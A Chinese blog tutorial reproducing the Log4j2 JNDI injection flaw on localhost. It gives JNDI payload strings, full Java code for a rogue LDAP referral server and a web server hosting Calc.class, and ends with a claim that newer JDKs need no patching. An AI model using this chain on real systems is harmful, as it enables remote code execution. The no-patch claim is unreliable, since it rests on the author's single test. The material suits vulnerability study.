- 漏洞原理
- 漏洞复现
- 漏洞范围
1.攻击伪装一个请求体,里面含有JNDI可执行的服务,我这里主要是试了LDAP与RMI两种,请求URL如下:
- LADP: ${jndi:ldap://127.0.0.1:1389/hello}
- RMI: ${jndi:rmi://127.0.0.1:1389/hello}
2.在应用程序恰巧输出了请求头或者入参的log日志时,就会触发此URL的请求,并主动请求了攻击者准备的LADP/RMI服务
3.利用LADP/RMI的特性,我们可以伪装返回值,含有要执行的恶意Class文件地址,与Class类名
4.被攻击的服务器找不到对应CLass文件就会触发JNDI的机制从远程服务器中下载Class中
5.用我们事先准备好的web服务给被攻击服务器提供可执行Class文件下载,被攻击服务器拿到到Class文件后会触发反序列化执行代码,达到了远程执行代码的目的
漏洞复现- 我们先准备一个无辜的被攻击服务器(肉鸡1号)
使用 jdk1.8.0_102 ,为什么是低版本?因为我目前使用的版本 jdk1.8_201根本不会触发此BUG,里面做了个判断!不java让反序列化了
所以得用一个低版本jdk 低于 191的就行
pom引用log4j
org.springframework.boot spring-boot-starter-log4j2
log4j.properties文件内容
log4j.rootLogger=DEBUG, CONSOLE, ERROR, WARN, INFO, DEBUG, ALL #----------------------------------------------------------------------------------------------------- log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender log4j.appender.CONSOLE.Target=System.out log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout log4j.appender.CONSOLE.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n #----------------------------------------------------------------------------------------------------- log4j.logger.ERROR=ERROR log4j.appender.ERROR=org.apache.log4j.DailyRollingFileAppender log4j.appender.ERROR.File=logs/error/error.log log4j.appender.ERROR.Threshold=ERROR log4j.appender.ERROR.Append=true log4j.appender.ERROR.layout=org.apache.log4j.PatternLayout log4j.appender.ERROR.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n #----------------------------------------------------------------------------------------------------- log4j.logger.WARN=WARN log4j.appender.WARN=org.apache.log4j.DailyRollingFileAppender log4j.appender.WARN.File=logs/warn/warn.log log4j.appender.WARN.Threshold=WARN log4j.appender.WARN.Append=true log4j.appender.WARN.layout=org.apache.log4j.PatternLayout log4j.appender.WARN.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n #----------------------------------------------------------------------------------------------------- log4j.logger.INFO=INFO log4j.appender.INFO=org.apache.log4j.DailyRollingFileAppender log4j.appender.INFO.File=logs/info/info.log log4j.appender.INFO.Threshold=INFO log4j.appender.INFO.Append=true log4j.appender.INFO.layout=org.apache.log4j.PatternLayout log4j.appender.INFO.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n #----------------------------------------------------------------------------------------------------- log4j.logger.DEBUG=DEBUG log4j.appender.DEBUG=org.apache.log4j.DailyRollingFileAppender log4j.appender.DEBUG.File=logs/debugger/debugger.log log4j.appender.DEBUG.Threshold=DEBUG log4j.appender.DEBUG.Append=true log4j.appender.DEBUG.layout=org.apache.log4j.PatternLayout log4j.appender.DEBUG.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n #----------------------------------------------------------------------------------------------------- log4j.logger.ALL=ALL log4j.appender.ALL=org.apache.log4j.DailyRollingFileAppender log4j.appender.ALL.File=logs/all/all.log log4j.appender.file.DatePattern='.'yyyy-MM-dd log4j.appender.ALL.Threshold=ALL log4j.appender.ALL.Append=true log4j.appender.ALL.layout=org.apache.log4j.PatternLayout log4j.appender.ALL.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
- 准备一个伪装的LADP/RMI服务端(伪装者1号)
package com.duanxd.ldapclient.ldap; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.URL; public class ldapTest { private static final String LDAP_base = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"http://127.0.0.1:80/#Calc"}; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getbaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Calc"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodebase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
- 准备一个提供可执行的class文件的web服务(伪装者2号)
这个web服务就是个普通的web服务,设置一下端口与静态资源的目录,我们就可以将需要远程执行的class放入到static目录下,静静的等待人来远程下载它
server.port=80 spring.web.resources.static-locations=classpath:static/
4.启动伪装者1号
启动成功后会输出IP与端口号,说明启动成功了
pom需要引用一个jar,就可以启动一个ldap服务了
com.unboundid unboundid-ldapsdk6.0.3 test
5.编译需要远程执行的代码
- 找到你电脑的JDK 执行javac 把Calc.java编译成Calc.class 注意java里不要写 包路径(此处想起了最开始学习java的时候,永远在报错)
让后将编译后Calc.class文件放入到 准备好的伪装者2号的 static目录下,等待 肉鸡1号 的下载
6.启动伪装者2号
可以自己测试一下,启动后的服务路径加上/Calc.class 是否能触发浏览器下载不,能触发下载说明就ok了,等着 肉鸡1号 来下载就好了!
7.启动肉鸡1号
就正常的boot启动就行!等待着调用!
package com.dxd.testlog4jbuga.controller; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; @RestController @RequestMapping() public class TestLogController { public static Logger logger = LoggerFactory.getLogger(TestLogController.class); @PostMapping("/go") public String go(HttpServletRequest request, String url) { // 获取请求头中的对象,我们这里随便定义dxd属性装我们的 URL String headerAuthorization = request.getHeader("dxd"); logger.info("进来了"); logger.info("收到" + headerAuthorization); logger.info("出去了"); return headerAuthorization; } }
8.使用PostMen请求肉鸡1号,触发远程代码执行
在headers中写一个自定义的key,恰巧 肉鸡1号 也取了这个dxd的key,一切就这么巧合,肉鸡1号,还用log输出了一下呢!
9.就可以看到 肉鸡1号 的服务器触发了计算器,至于为啥都是计算器,我也不知道!那就跟风也计算器吧!
源码地址:
链接:https://pan.baidu.com/s/1UbM4J7DZY1XkkxeXMivEQw
提取码:xgvc
2.0 <= Apache log4j2 <= 2.14.1
我自测使用jdk1.8.0_201 不会触发此BUG
肉鸡1号使用 jdk1.8.0_102 可以复现此BUG,应该是是 191版本前的才会触发
所以使用201版本jdk的小伙伴们,不用慌!
使用 spring boot架构的同学,如果使用的 Spring默认的 logback也不用慌!
昨天我查了公司所有的boot架构的项目,发现只有一位同事单独引入了 log4j的jar
但是因为使用的jdk为201所以这漏洞也不用处理了
后续想到什么,就在再补,要陪怀孕的媳妇下楼遛弯了!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)